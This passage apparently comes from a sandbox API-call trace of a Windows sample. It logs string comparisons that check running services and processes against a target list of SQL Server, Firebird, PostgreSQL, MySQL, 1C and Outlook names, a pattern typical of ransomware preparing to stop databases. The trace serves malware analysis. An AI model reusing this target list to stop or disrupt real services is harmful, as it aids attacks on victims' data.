lpString2="MMCSS") returned 1 [0047.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0047.633] lstrlenW (lpString="MpsSvc") returned 6 [0047.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0047.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0047.633] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0047.633] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0047.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0047.633] lstrlenW (lpString="Netman") returned 6 [0047.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0047.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0047.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0047.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0047.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0047.633] lstrlenW (lpString="netprofm") returned 8 [0047.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0047.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0047.633] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0047.633] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0047.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0047.633] lstrlenW (lpString="NlaSvc") returned 6 [0047.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0047.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0047.633] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0047.633] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0047.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0047.634] lstrlenW (lpString="nsi") returned 3 [0047.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0047.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0047.634] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0047.634] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0047.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0047.634] lstrlenW (lpString="PcaSvc") returned 6 [0047.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0047.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0047.634] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0047.634] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0047.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0047.634] lstrlenW (lpString="PlugPlay") returned 8 [0047.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0047.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0047.634] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0047.634] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0047.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0047.634] lstrlenW (lpString="Power") returned 5 [0047.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0047.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0047.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0047.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0047.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0047.634] lstrlenW (lpString="ProfSvc") returned 7 [0047.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0047.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0047.634] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0047.634] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0047.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0047.634] lstrlenW (lpString="RpcEptMapper") returned 12 [0047.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.634] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0047.635] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0047.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0047.635] lstrlenW (lpString="RpcSs") returned 5 [0047.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0047.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0047.635] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0047.635] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0047.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0047.635] lstrlenW (lpString="SamSs") returned 5 [0047.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0047.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0047.635] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0047.635] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0047.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0047.635] lstrlenW (lpString="Schedule") returned 8 [0047.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0047.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0047.635] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0047.635] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0047.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0047.635] lstrlenW (lpString="SENS") returned 4 [0047.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0047.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0047.635] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0047.635] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0047.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0047.635] lstrlenW (lpString="ShellHWDetection") returned 16 [0047.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.635] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0047.635] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0047.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0047.635] lstrlenW (lpString="Spooler") returned 7 [0047.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0047.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0047.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0047.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0047.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0047.636] lstrlenW (lpString="SysMain") returned 7 [0047.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0047.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0047.636] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0047.636] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0047.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0047.636] lstrlenW (lpString="Themes") returned 6 [0047.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0047.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0047.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0047.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0047.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0047.636] lstrlenW (lpString="TrkWks") returned 6 [0047.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0047.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0047.636] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0047.636] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0047.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0047.636] lstrlenW (lpString="UxSms") returned 5 [0047.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0047.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0047.636] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0047.636] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0047.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0047.636] lstrlenW (lpString="WdiServiceHost") returned 14 [0047.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.636] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0047.636] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0047.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0047.637] lstrlenW (lpString="WdiSystemHost") returned 13 [0047.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.637] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0047.637] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0047.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0047.637] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0047.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.637] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0047.637] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0047.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0047.637] lstrlenW (lpString="Winmgmt") returned 7 [0047.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0047.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0047.637] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0047.637] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0047.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0047.637] lstrlenW (lpString="WPDBusEnum") returned 10 [0047.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.637] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0047.637] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0047.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0047.637] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4023080 | out: hHeap=0x6c0000) returned 1 [0047.637] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c [0047.639] Process32FirstW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.640] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0047.640] lstrlenW (lpString="System") returned 6 [0047.640] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0047.640] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0047.640] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0047.640] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0047.640] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0047.640] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0047.641] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0047.641] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0047.641] lstrlenW (lpString="smss.exe") returned 8 [0047.641] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0047.641] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0047.641] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0047.641] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0047.641] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0047.641] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0047.641] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0047.641] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.642] lstrlenW (lpString="csrss.exe") returned 9 [0047.642] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0047.642] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0047.642] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0047.642] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0047.642] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0047.642] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0047.642] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0047.642] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0047.642] lstrlenW (lpString="wininit.exe") returned 11 [0047.642] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0047.642] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0047.642] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0047.643] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0047.643] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0047.643] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0047.643] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0047.643] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.643] lstrlenW (lpString="csrss.exe") returned 9 [0047.643] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0047.643] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0047.643] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0047.643] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0047.643] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0047.643] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0047.644] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0047.644] lstrlenW (lpString="winlogon.exe") returned 12 [0047.644] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0047.645] lstrlenW (lpString="services.exe") returned 12 [0047.645] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0047.645] lstrlenW (lpString="lsass.exe") returned 9 [0047.645] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0047.646] lstrlenW (lpString="lsm.exe") returned 7 [0047.646] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.646] lstrlenW (lpString="svchost.exe") returned 11 [0047.646] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.647] lstrlenW (lpString="svchost.exe") returned 11 [0047.647] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.647] lstrlenW (lpString="svchost.exe") returned 11 [0047.647] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.648] lstrlenW (lpString="svchost.exe") returned 11 [0047.648] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.648] lstrlenW (lpString="svchost.exe") returned 11 [0047.648] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0047.649] lstrlenW (lpString="audiodg.exe") returned 11 [0047.649] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.649] lstrlenW (lpString="svchost.exe") returned 11 [0047.649] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.650] lstrlenW (lpString="svchost.exe") returned 11 [0047.650] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0047.650] lstrlenW (lpString="dwm.exe") returned 7 [0047.650] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0047.651] lstrlenW (lpString="explorer.exe") returned 12 [0047.651] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0047.651] lstrlenW (lpString="spoolsv.exe") returned 11 [0047.651] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.652] lstrlenW (lpString="taskhost.exe") returned 12 [0047.652] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.652] lstrlenW (lpString="svchost.exe") returned 11 [0047.652] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0047.653] lstrlenW (lpString="taskeng.exe") returned 11 [0047.653] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.653] lstrlenW (lpString="taskhost.exe") returned 12 [0047.653] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0047.654] lstrlenW (lpString="br_maintaining.exe") returned 18 [0047.654] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0047.654] lstrlenW (lpString="kitsenormous.exe") returned 16 [0047.654] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0047.655] lstrlenW (lpString="intermediate-components.exe") returned 27 [0047.655] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0047.655] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0047.655] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0047.656] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0047.656] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0047.656] lstrlenW (lpString="stupid.exe") returned 10 [0047.656] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0047.657] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0047.657] Process32NextW (in: 